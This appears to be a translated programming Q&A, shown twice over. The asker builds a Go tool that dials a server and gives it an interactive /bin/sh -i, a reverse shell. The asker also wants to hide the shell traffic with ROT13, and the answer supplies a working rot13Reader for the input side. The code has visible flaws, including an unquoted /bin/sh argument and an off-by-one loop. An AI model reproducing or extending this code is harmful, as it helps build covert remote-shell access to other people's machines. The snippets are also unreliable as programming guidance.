如何捕获标准输入的字节
How to capture the bytes of stdin
目标:我想捕获cmd.Stdin的所有字节并用这个rot13函数处理它们:https://play.golang.org/p/VX2pwaIqhmT
故事:我正在编写一个小工具,该工具将针对 win/linux 进行交叉编译,因此我试图使其尽可能简单。这个工具连接到我可以在客户端上执行命令的服务器。
因为我必须为 cmd.Stdout 做同样的事情,所以我使用了这个:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive***
//***shell***, and not just a simple command
cmd.Stdin = conn
cmdStdout, err := cmd.StdoutPipe() // works fine
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....
其中 OBFprocessStream 函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切正常。
所以,我尝试为 cmd.Stdin 复制相同的东西:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i")
cmdStdin, err := cmd.StdinPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
}
cmdStdout, err := cmd.StdoutPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = INOBFprocessStream(cmdStdin, conn)
....
.....
err = OBFprocessStream(cmdStdout, conn)
....
但是.. cmdStdin 是一个 Io.WriterCloser,我真的不知道如何捕获字节 sEGIHOsegoihszrhoiò
你能帮帮我吗?
所以看起来你真正想要的是从 conn
读取数据,用 ROT13 过滤它,然后将它传递给 cmd.Stdin
(它接受 io.Reader
)。
并且您的 rot13Reader
已经在实施 io.Reader
:
type rot13Reader struct {
r io.Reader
}
func (r13 *rot13Reader) Read(b []byte) (int, error) {
n, err := r13.r.Read(b)
for i := 0; i <= n; i++ {
b[i] = rot13(b[i])
}
return n, err
}
所以一个快速的解决方案是像这样从中构建一个小的过滤器链:
cmd.Stdin = &rot13Reader{conn}
目标:我想捕获cmd.Stdin的所有字节并用这个rot13函数处理它们:https://play.golang.org/p/VX2pwaIqhmT
故事:我正在编写一个小工具,该工具将针对 win/linux 进行交叉编译,因此我试图使其尽可能简单。这个工具连接到我可以在客户端上执行命令的服务器。
因为我必须为 cmd.Stdout 做同样的事情,所以我使用了这个:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive***
//***shell***, and not just a simple command
cmd.Stdin = conn
cmdStdout, err := cmd.StdoutPipe() // works fine
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....
其中 OBFprocessStream 函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切正常。
所以,我尝试为 cmd.Stdin 复制相同的东西:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i")
cmdStdin, err := cmd.StdinPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
}
cmdStdout, err := cmd.StdoutPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = INOBFprocessStream(cmdStdin, conn)
....
.....
err = OBFprocessStream(cmdStdout, conn)
....
但是.. cmdStdin 是一个 Io.WriterCloser,我真的不知道如何捕获字节 sEGIHOsegoihszrhoiò
你能帮帮我吗?
所以看起来你真正想要的是从 conn
读取数据,用 ROT13 过滤它,然后将它传递给 cmd.Stdin
(它接受 io.Reader
)。
并且您的 rot13Reader
已经在实施 io.Reader
:
type rot13Reader struct {
r io.Reader
}
func (r13 *rot13Reader) Read(b []byte) (int, error) {
n, err := r13.r.Read(b)
for i := 0; i <= n; i++ {
b[i] = rot13(b[i])
}
return n, err
}
所以一个快速的解决方案是像这样从中构建一个小的过滤器链:
cmd.Stdin = &rot13Reader{conn}